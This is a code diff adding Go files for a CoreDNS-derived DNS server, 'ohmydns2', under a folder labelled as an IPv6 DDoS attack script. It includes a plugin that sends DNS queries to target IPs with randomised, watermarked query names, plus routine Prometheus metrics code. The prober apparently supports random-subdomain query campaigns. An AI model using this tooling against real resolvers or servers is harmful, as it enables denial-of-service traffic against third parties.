prometheus.ExponentialBuckets(0.00025, 10, 5) // from 0.25ms to 2.5 seconds + +// ErrOnce is returned when a plugin doesn't support multiple setups per server. +var ErrOnce = errors.New("this plugin can only be used once per Server Block") diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" new file mode 100644 index 0000000..cf18468 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/plugin_prober.go" @@ -0,0 +1,99 @@ +package plugin + +import ( + "context" + "errors" + "fmt" + "github.com/miekg/dns" + ot "github.com/opentracing/opentracing-go" + "net/http" +) + +type ( + // Pplugin 是一个中间层,它定义了一个用于探测的插件传递链,前一个 Handler 处理完成之后将紧接着传递到下一个 Handler。 + Pplugin func(Prober) Prober + + // Prober except ProbeDNS may return an rcode + // and/or error. + // + // If ProbeDNS writes to the request body, it should return a status + // code. OhmyDNS2 assumes *no* reply has yet been written if the status + // code is one of the following: + // + // * SERVFAIL (dns.RcodeServerFailure) + // + // * REFUSED (dns.RecodeRefused) + // + // * FORMERR (dns.RcodeFormatError) + // + // * NOTIMP (dns.RcodeNotImplemented) + // + // All other response codes signal other handlers above it that the + // response message is already written, and that they should not write + // to it also. + // + // If ServeDNS encounters an error, it should return the error value + // so it can be logged by designated error-handling plugin. + // + // If writing a response after calling another ServeDNS method, the + // returned rcode SHOULD be used when writing the response. + // + // If handling errors after calling another ServeDNS method, the + // returned error value SHOULD be logged or handled accordingly. + // + // Otherwise, return values should be propagated down the plugin + // chain by returning them unchanged. + Prober interface { + ProbeDNS(context.Context, *dns.Client, *dns.Msg) (int, error) + Name() string + } + + // ProberFunc is a convenience type, except + // ProbeDNS returns an rcode and an error. See Handler + // documentation for more information. + ProberFunc func(context.Context, *dns.Client, *dns.Msg) (int, error) +) + +// ServeDNS implements the Handler interface. +func (p ProberFunc) ProbeDNS(ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { + return p(ctx, c, msg) +} + +// Name implements the Handler interface. +func (p ProberFunc) Name() string { return "proberfunc" } + +// PError returns err with 'plugin/name: ' prefixed to it. +func PError(name string, err error) error { return fmt.Errorf("%s/%s: %s", "prober-plugin", name, err) } + +// PNextOrFailure calls next.ProbeDNS when next is not nil, otherwise it will return, a ServerFailure and a `no next plugin found` error. +func PNextOrFailure(name string, next Prober, ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { // nolint: golint + if next != nil { + if span := ot.SpanFromContext(ctx); span != nil { + child := span.Tracer().StartSpan(next.Name(), ot.ChildOf(span.Context())) + defer child.Finish() + ctx = ot.ContextWithSpan(ctx, child) + } + return next.ProbeDNS(ctx, c, msg) + } + + return http.StatusInternalServerError, Error(name, errors.New("no next plugin found")) +} + +// HTTPClientWrite returns true if the response has been written to the client. +// Each plugin to adhere to this protocol. +func HTTPClientWrite(rcode int) bool { + switch rcode { + case http.StatusInternalServerError: + fallthrough + case http.StatusForbidden: + fallthrough + case http.StatusBadRequest: + fallthrough + case http.StatusNotImplemented: + return false + } + return true +} + +// PErrOnce is returned when a plugin doesn't support multiple setups per server. +var PErrOnce = errors.New("this plugin can only be used once per Server Block") diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" new file mode 100644 index 0000000..b39bda2 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/probe53.go" @@ -0,0 +1,27 @@ +package probe53 + +import ( + "context" + "github.com/miekg/dns" + "net" + "ohmydns2/plugin/pkg/prober" +) + +type Probe53 struct { +} + +func (p Probe53) ProbeDNS(ctx context.Context, client *dns.Client, msg *dns.Msg) (int, error) { + // ip+port作为目标 + _, _, err := client.Exchange(msg, ctx.Value(target).(net.IP).String()+":53") + if err != nil { + logger.Errorf("探测%v发生错误,原因为: %v", ctx.Value(target).(net.IP).String(), err.Error()) + return 1, err + } + return 0, nil +} + +func (p Probe53) Name() string { + return "probe53" +} + +var target = prober.Target diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" new file mode 100644 index 0000000..cb3fb2b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/probe53/setup.go" @@ -0,0 +1,23 @@ +package probe53 + +import ( + "github.com/coredns/caddy" + "ohmydns2/core/prober" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/log" + //"ohmydns2/plugin/pkg/prober" +) + +func init() { + plugin.ProbeRegister("probe53", setup) +} + +func setup(c *caddy.Controller) error { + p := new(Probe53) + prober.GetPBConfig(c).AddPlugin(func(next plugin.Prober) plugin.Prober { + return p + }) + return nil +} + +var logger = log.NewWithPlugin("probe53") diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" new file mode 100644 index 0000000..1776f73 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qname.go" @@ -0,0 +1,89 @@ +package qname + +import ( + "context" + "errors" + "github.com/miekg/dns" + "github.com/pochard/commons/randstr" + "net" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/prober" + "strconv" + "strings" +) + +type Qname struct { + next plugin.Prober + setFromFile string + targetip net.IP +} + +func (q Qname) ProbeDNS(ctx context.Context, c *dns.Client, msg *dns.Msg) (int, error) { + param := ctx.Value(prober.Paramkey).(map[string][]string) + // api中设定了qname参数,则以该参数为准 + if v, ok := param["qname"]; ok { + msg.Question[0].Name = generateQname(v[0], ctx) + // 交由下一个插件处理 + return plugin.PNextOrFailure(q.Name(), q.next, ctx, c, msg) + } + if q.setFromFile != "" { + // api中未设定,读取配置文件 + msg.Question[0].Name = generateQname(q.setFromFile, ctx) + return plugin.PNextOrFailure(q.Name(), q.next, ctx, c, msg) + } + log.Error("未指定参数") + return 2, errors.New(q.Name() + ": 未指定参数") + +} + +func (q Qname) Name() string { + return "qname" +} + +func generateQname(arg string, ctx context.Context) string { + args := strings.Split(arg, ".") + qname := "" + for _, v := range args { + // 含有( { [的视为函数部分 + p, ok := intersectionStringsList(v, funcList) + if ok { + i := strings.Index(v, p) //进入循环表明一定有匹配 + if f, fok := funcMap[v[:i]]; fok { + qname += f(v[i+1:len(v)-1], ctx) + } + } + // 不含直接添加 + qname += v + "." + } + return qname +} + +// 返回一定长度的随机字符串+"." +func rand(d string, _ context.Context) string { + num, _ := strconv.Atoi(d) + return strings.ToLower(randstr.RandomAlphanumeric(num)) + "." +} + +// 起始水印标识生成+".",如果为null则不生成 +func genMask(d string, ctx context.Context) string { + if d == "null" || d == "" { + return "" + } + return d + ip2id(ctx.Value(prober.Target).(net.IP)) + "." +} + +func ip2id(ip net.IP) string { + // v4地址 + if strings.Contains(ip.String(), ".") { + return strings.ReplaceAll(ip.String(), ".", "-") + } + return strings.ReplaceAll(ip.String(), ":", "-") +} + +var funcList = []string{"(", ")", "{", "}", "[", "]"} + +// 表达式中的函数与实际处理函数的映射 +var funcMap = map[string]func(string, context.Context) string{ + "rand": rand, + "smask": genMask, +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" new file mode 100644 index 0000000..177d6c8 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/qnameutil.go" @@ -0,0 +1,13 @@ +package qname + +import "strings" + +// intersectionStringsList 判断字符串内是否有sublist中的元素,并返回匹配的元素 +func intersectionStringsList(str string, sublist []string) (string, bool) { + for _, item := range sublist { + if strings.Contains(str, item) { + return item, true + } + } + return "", false +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" new file mode 100644 index 0000000..13dbba5 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prober/qname/setup.go" @@ -0,0 +1,27 @@ +package qname + +import ( + "github.com/coredns/caddy" + "ohmydns2/core/prober" + "ohmydns2/plugin" + olog "ohmydns2/plugin/pkg/log" + //"ohmydns2/plugin/pkg/prober" +) + +func init() { plugin.ProbeRegister("qname", setup) } + +func setup(c *caddy.Controller) error { + qname := new(Qname) + // 存在参数,加载到结构体中 + if c.NextArg() { + qname.setFromFile = c.RemainingArgs()[0] + } + + prober.GetPBConfig(c).AddPlugin(func(next plugin.Prober) plugin.Prober { + return qname + }) + + return nil +} + +var log = olog.NewWithPlugin("qname") diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" new file mode 100644 index 0000000..9c7ce55 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/context.go" @@ -0,0 +1,36 @@ +package prometheus + +import ( + "context" + "ohmydns2/core/dnsserver" +) + +// WithServer returns the current server handling the request. It returns the +// server listening address: ://[]: Normally this is +// something like "dns://:53", but if the bind plugin is used, i.e. "bind +// 127.0.0.53", it will be "dns://127.0.0.53:53", etc. If not address is found +// the empty string is returned. +// +// Basic usage with a metric: +// +// .WithLabelValues(metrics.WithServer(ctx), labels..).Add(1) +func WithServer(ctx context.Context) string { + srv := ctx.Value(dnsserver.Key{}) + if srv == nil { + return "" + } + return srv.(*dnsserver.Server).Addr +} + +// WithView returns the name of the view currently handling the request, if a view is defined. +// +// Basic usage with a metric: +// +// .WithLabelValues(metrics.WithView(ctx), labels..).Add(1) +func WithView(ctx context.Context) string { + v := ctx.Value(dnsserver.ViewKey{}) + if v == nil { + return "" + } + return v.(string) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" new file mode 100644 index 0000000..47fa172 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/handler.go" @@ -0,0 +1,56 @@ +package prometheus + +import ( + "context" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/rcode" + "ohmydns2/plugin/pkg/request" + "ohmydns2/plugin/prometheus/vars" + "path/filepath" + + "github.com/miekg/dns" +) + +// ServeDNS implements the Handler interface. +func (m *Metrics) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { + state := request.Request{W: w, Req: r} + + qname := state.QName() + zone := plugin.Zones(m.ZoneNames()).Matches(qname) + if zone == "" { + zone = "." + } + + // Record response to get status code and size of the reply. + rw := NewRecorder(w) + status, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, rw, r) + + rc := rw.Rcode + if !plugin.ClientWrite(status) { + // when no response was written, fallback to status returned from next plugin as this status + // is actually used as rcode of DNS response + // see https://github.com/coredns/coredns/blob/master/core/dnsserver/server.go#L318 + rc = status + } + plugin := m.authoritativePlugin(rw.Caller) + vars.Report(WithServer(ctx), state, zone, WithView(ctx), rcode.ToString(rc), plugin, rw.Len, rw.Start) + + return status, err +} + +// Name implements the Handler interface. +func (m *Metrics) Name() string { return "prometheus" } + +// authoritativePlugin returns which of made the write, if none is found the empty string is returned. +func (m *Metrics) authoritativePlugin(caller [3]string) string { + // a b and c contain the full path of the caller, the plugin name 2nd last elements + // .../coredns/plugin/whoami/whoami.go --> whoami + // this is likely FS specific, so use filepath. + for _, c := range caller { + plug := filepath.Base(filepath.Dir(c)) + if _, ok := m.plugins[plug]; ok { + return plug + } + } + return "" +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" new file mode 100644 index 0000000..ce58cbc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/metrics.go" @@ -0,0 +1,170 @@ +package prometheus + +import ( + "context" + "net" + "net/http" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/reuseport" + "sync" + "time" + + "github.com/coredns/caddy" + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promauto" + "github.com/prometheus/client_golang/prometheus/promhttp" +) + +// Metrics holds the prometheus configuration. The metrics' path is fixed to be /metrics . +type Metrics struct { + Next plugin.Handler + Addr string + Reg *prometheus.Registry + + ln net.Listener + lnSetup bool + + mux *http.ServeMux + srv *http.Server + + zoneNames []string + zoneMap map[string]struct{} + zoneMu sync.RWMutex + + plugins map[string]struct{} // all available plugins, used to determine which plugin made the client write +} + +// New returns a new instance of Metrics with the given address. +func New(addr string) *Metrics { + met := &Metrics{ + Addr: addr, + Reg: prometheus.DefaultRegisterer.(*prometheus.Registry), + zoneMap: make(map[string]struct{}), + plugins: pluginList(caddy.ListPlugins()), + } + + return met +} + +// MustRegister wraps m.Reg.MustRegister. +func (m *Metrics) MustRegister(c prometheus.Collector) { + err := m.Reg.Register(c) + if err != nil { + // ignore any duplicate error, but fatal on any other kind of error + if _, ok := err.(prometheus.AlreadyRegisteredError); !ok { + log.Fatalf("Cannot register metrics collector: %s", err) + } + } +} + +// AddZone adds zone z to m. +func (m *Metrics) AddZone(z string) { + m.zoneMu.Lock() + m.zoneMap[z] = struct{}{} + m.zoneNames = keys(m.zoneMap) + m.zoneMu.Unlock() +} + +// RemoveZone remove zone z from m. +func (m *Metrics) RemoveZone(z string) { + m.zoneMu.Lock() + delete(m.zoneMap, z) + m.zoneNames = keys(m.zoneMap) + m.zoneMu.Unlock() +} + +// ZoneNames returns the zones of m. +func (m *Metrics) ZoneNames() []string { + m.zoneMu.RLock() + s := m.zoneNames + m.zoneMu.RUnlock() + return s +} + +// OnStartup sets up the metrics on startup. +func (m *Metrics) OnStartup() error { + ln, err := reuseport.Listen("tcp", m.Addr) + if err != nil { + log.Errorf("Failed to start metrics handler: %s", err) + return err + } + + m.ln = ln + m.lnSetup = true + + m.mux = http.NewServeMux() + m.mux.Handle("/metrics", promhttp.HandlerFor(m.Reg, promhttp.HandlerOpts{})) + + // creating some helper variables to avoid data races on m.srv and m.ln + server := &http.Server{Handler: m.mux} + m.srv = server + + go func() { + server.Serve(ln) + }() + + ListenAddr = ln.Addr().String() // For tests. + return nil +} + +// OnRestart stops the listener on reload. +func (m *Metrics) OnRestart() error { + if !m.lnSetup { + return nil + } + u.Unset(m.Addr) + return m.stopServer() +} + +func (m *Metrics) stopServer() error { + if !m.lnSetup { + return nil + } + ctx, cancel := context.WithTimeout(context.Background(), shutdownTimeout) + defer cancel() + if err := m.srv.Shutdown(ctx); err != nil { + log.Infof("Failed to stop prometheus http server: %s", err) + return err + } + m.lnSetup = false + m.ln.Close() + return nil +} + +// OnFinalShutdown tears down the metrics listener on shutdown and restart. +func (m *Metrics) OnFinalShutdown() error { return m.stopServer() } + +func keys(m map[string]struct{}) []string { + sx := []string{} + for k := range m { + sx = append(sx, k) + } + return sx +} + +// pluginList iterates over the returned plugin map from caddy and removes the "dns." prefix from them. +func pluginList(m map[string][]string) map[string]struct{} { + pm := map[string]struct{}{} + for _, p := range m["others"] { + // only add 'dns.' plugins + if len(p) > 3 { + pm[p[4:]] = struct{}{} + continue + } + } + return pm +} + +// ListenAddr is assigned the address of the prometheus listener. Its use is mainly in tests where +// we listen on "localhost:0" and need to retrieve the actual address. +var ListenAddr string + +// shutdownTimeout is the maximum amount of time the metrics plugin will wait +// before erroring when it tries to close the metrics server +const shutdownTimeout time.Duration = time.Second * 5 + +var buildInfo = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: plugin.Namespace, + Name: "build_info", + Help: "A metric with a constant '1' value labeled by version, revision, and goversion from which OhmyDNS was built.", +}, []string{"version", "revision", "goversion"}) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" new file mode 100644 index 0000000..acb5263 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/recorder.go" @@ -0,0 +1,27 @@ +package prometheus + +import ( + "ohmydns2/plugin/pkg/dnstest" + "runtime" + + "github.com/miekg/dns" +) + +// Recorder is a dnstest.Recorder specific to the metrics plugin. +type Recorder struct { + *dnstest.Recorder + // CallerN holds the string return value of the call to runtime.Caller(N+1) + Caller [3]string +} + +// NewRecorder makes and returns a new Recorder. +func NewRecorder(w dns.ResponseWriter) *Recorder { return &Recorder{Recorder: dnstest.NewRecorder(w)} } + +// WriteMsg records the status code and calls the +// underlying ResponseWriter's WriteMsg method. +func (r *Recorder) WriteMsg(res *dns.Msg) error { + _, r.Caller[0], _, _ = runtime.Caller(1) + _, r.Caller[1], _, _ = runtime.Caller(2) + _, r.Caller[2], _, _ = runtime.Caller(3) + return r.Recorder.WriteMsg(res) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" new file mode 100644 index 0000000..c3dc9ff --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/registry.go" @@ -0,0 +1,28 @@ +package prometheus + +import ( + "sync" + + "github.com/prometheus/client_golang/prometheus" +) + +type reg struct { + sync.RWMutex + r map[string]*prometheus.Registry +} + +func newReg() *reg { return ®{r: make(map[string]*prometheus.Registry)} } + +// update sets the registry if not already there and returns the input. Or it returns +// a previous set value. +func (r *reg) getOrSet(addr string, pr *prometheus.Registry) *prometheus.Registry { + r.Lock() + defer r.Unlock() + + if v, ok := r.r[addr]; ok { + return v + } + + r.r[addr] = pr + return pr +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" new file mode 100644 index 0000000..e5ca825 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/setup.go" @@ -0,0 +1,106 @@ +package prometheus + +import ( + "net" + "ohmydns2/core/dnsserver" + "ohmydns2/ohmain" + "ohmydns2/plugin" + olog "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/uniq" + "ohmydns2/plugin/prometheus/vars" + + "github.com/coredns/caddy" + + "runtime" +) + +var ( + log = olog.NewWithPlugin("prometheus") + u = uniq.New() + registry = newReg() +) + +func init() { plugin.Register("prometheus", setup) } + +func setup(c *caddy.Controller) error { + m, err := parse(c) + if err != nil { + return plugin.Error("prometheus", err) + } + m.Reg = registry.getOrSet(m.Addr, m.Reg) + + c.OnStartup(func() error { m.Reg = registry.getOrSet(m.Addr, m.Reg); u.Set(m.Addr, m.OnStartup); return nil }) + c.OnRestartFailed(func() error { m.Reg = registry.getOrSet(m.Addr, m.Reg); u.Set(m.Addr, m.OnStartup); return nil }) + + c.OnStartup(func() error { return u.ForEach() }) + c.OnRestartFailed(func() error { return u.ForEach() }) + + c.OnStartup(func() error { + conf := dnsserver.GetConfig(c) + for _, h := range conf.ListenHosts { + addrstr := conf.Transport + "://" + net.JoinHostPort(h, conf.Port) + for _, p := range conf.Handlers() { + vars.PluginEnabled.WithLabelValues(addrstr, conf.Zone, conf.ViewName, p.Name()).Set(1) + } + } + return nil + }) + c.OnRestartFailed(func() error { + conf := dnsserver.GetConfig(c) + for _, h := range conf.ListenHosts { + addrstr := conf.Transport + "://" + net.JoinHostPort(h, conf.Port) + for _, p := range conf.Handlers() { + vars.PluginEnabled.WithLabelValues(addrstr, conf.Zone, conf.ViewName, p.Name()).Set(1) + } + } + return nil + }) + + c.OnRestart(m.OnRestart) + c.OnRestart(func() error { vars.PluginEnabled.Reset(); return nil }) + c.OnFinalShutdown(m.OnFinalShutdown) + + // Initialize metrics. + buildInfo.WithLabelValues(ohmain.OMVersion, ohmain.GitCommit, runtime.Version()).Set(1) + + dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { + m.Next = next + return m + }) + + return nil +} + +func parse(c *caddy.Controller) (*Metrics, error) { + met := New(defaultAddr) + + i := 0 + for c.Next() { + if i > 0 { + return nil, plugin.ErrOnce + } + i++ + + zones := plugin.OriginsFromArgsOrServerBlock(nil /* args */, c.ServerBlockKeys) + for _, z := range zones { + met.AddZone(z) + } + args := c.RemainingArgs() + + switch len(args) { + case 0: + case 1: + met.Addr = args[0] + _, _, e := net.SplitHostPort(met.Addr) + if e != nil { + return met, e + } + default: + return met, c.ArgErr() + } + } + return met, nil +} + +// defaultAddr is the address the where the metrics are exported by default. +const defaultAddr = "localhost:9153" diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" new file mode 100644 index 0000000..084a6cf --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/monitor.go" @@ -0,0 +1,34 @@ +package vars + +import "github.com/miekg/dns" + +var monitorType = map[uint16]struct{}{ + dns.TypeAAAA: {}, + dns.TypeA: {}, + dns.TypeCNAME: {}, + dns.TypeDNSKEY: {}, + dns.TypeDS: {}, + dns.TypeMX: {}, + dns.TypeNSEC3: {}, + dns.TypeNSEC: {}, + dns.TypeNS: {}, + dns.TypePTR: {}, + dns.TypeRRSIG: {}, + dns.TypeSOA: {}, + dns.TypeSRV: {}, + dns.TypeTXT: {}, + dns.TypeHTTPS: {}, + // Meta Qtypes + dns.TypeIXFR: {}, + dns.TypeAXFR: {}, + dns.TypeANY: {}, +} + +// qTypeString returns the RR type based on monitorType. It returns the text representation +// of those types. RR types not in that list will have "other" returned. +func qTypeString(qtype uint16) string { + if _, known := monitorType[qtype]; known { + return dns.Type(qtype).String() + } + return "other" +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" new file mode 100644 index 0000000..9ea9ba1 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/report.go" @@ -0,0 +1,32 @@ +package vars + +import ( + "ohmydns2/plugin/pkg/request" + "time" +) + +// Report reports the metrics data associated with request. This function is exported because it is also +// called from core/dnsserver to report requests hitting the server that should not be handled and are thus +// not sent down the plugin chain. +func Report(server string, req request.Request, zone, view, rcode, plugin string, size int, start time.Time) { + // Proto and Family. + net := req.Proto() + fam := "1" + if req.Family() == 2 { + fam = "2" + } + + if req.Do() { + RequestDo.WithLabelValues(server, zone, view).Inc() + } + + qType := qTypeString(req.QType()) + RequestCount.WithLabelValues(server, zone, view, net, fam, qType).Inc() + + RequestDuration.WithLabelValues(server, zone, view).Observe(time.Since(start).Seconds()) + + ResponseSize.WithLabelValues(server, zone, view, net).Observe(float64(size)) + RequestSize.WithLabelValues(server, zone, view, net).Observe(float64(req.Len())) + + ResponseRcode.WithLabelValues(server, zone, view, rcode, plugin).Inc() +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" new file mode 100644 index 0000000..2f368bb --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/prometheus/vars/vars.go" @@ -0,0 +1,88 @@ +package vars + +import ( + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promauto" + "ohmydns2/plugin" +) + +// Request* and Response* are the prometheus counters and gauges we are using for exporting metrics. +var ( + RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "requests_total", + Help: "Counter of DNS requests made per zone, protocol and family.", + }, []string{"server", "zone", "view", "proto", "family", "type"}) + + RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "request_duration_seconds", + Buckets: plugin.TimeBuckets, + Help: "Histogram of the time (in seconds) each request took per zone.", + }, []string{"server", "zone", "view"}) + + RequestSize = promauto.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "request_size_bytes", + Help: "Size of the EDNS0 UDP buffer in bytes (64K for TCP) per zone and protocol.", + Buckets: []float64{0, 100, 200, 300, 400, 511, 1023, 2047, 4095, 8291, 16e3, 32e3, 48e3, 64e3}, + }, []string{"server", "zone", "view", "proto"}) + + RequestDo = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "do_requests_total", + Help: "Counter of DNS requests with DO bit set per zone.", + }, []string{"server", "zone", "view"}) + + ResponseSize = promauto.NewHistogramVec(prometheus.HistogramOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "response_size_bytes", + Help: "Size of the returned response in bytes.", + Buckets: []float64{0, 100, 200, 300, 400, 511, 1023, 2047, 4095, 8291, 16e3, 32e3, 48e3, 64e3}, + }, []string{"server", "zone", "view", "proto"}) + + ResponseRcode = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "responses_total", + Help: "Counter of response status codes.", + }, []string{"server", "zone", "view", "rcode", "plugin"}) + + Panic = promauto.NewCounter(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Name: "panics_total", + Help: "A metrics that counts the number of panics.", + }) + + PluginEnabled = promauto.NewGaugeVec(prometheus.GaugeOpts{ + Namespace: plugin.Namespace, + Name: "plugin_enabled", + Help: "A metric that indicates whether a plugin is enabled on per server and zone basis.", + }, []string{"server", "zone", "view", "name"}) + + HTTPSResponsesCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: subsystem, + Name: "https_responses_total", + Help: "Counter of DoH responses per server and http status code.", + }, []string{"server", "status"}) + HTTPResponsesCount = promauto.NewCounterVec(prometheus.CounterOpts{ + Namespace: plugin.Namespace, + Subsystem: probesubsystem, + Name: "http_responses_total", + Help: "Counter of HTTP responses per server and http status code.", + }, []string{"server", "status"}) +) + +const ( + subsystem = "dns" + probesubsystem = "probe" + + // Dropped indicates we dropped the query before any handling. It has no closing dot, so it can not be a valid zone. + Dropped = "dropped" +) 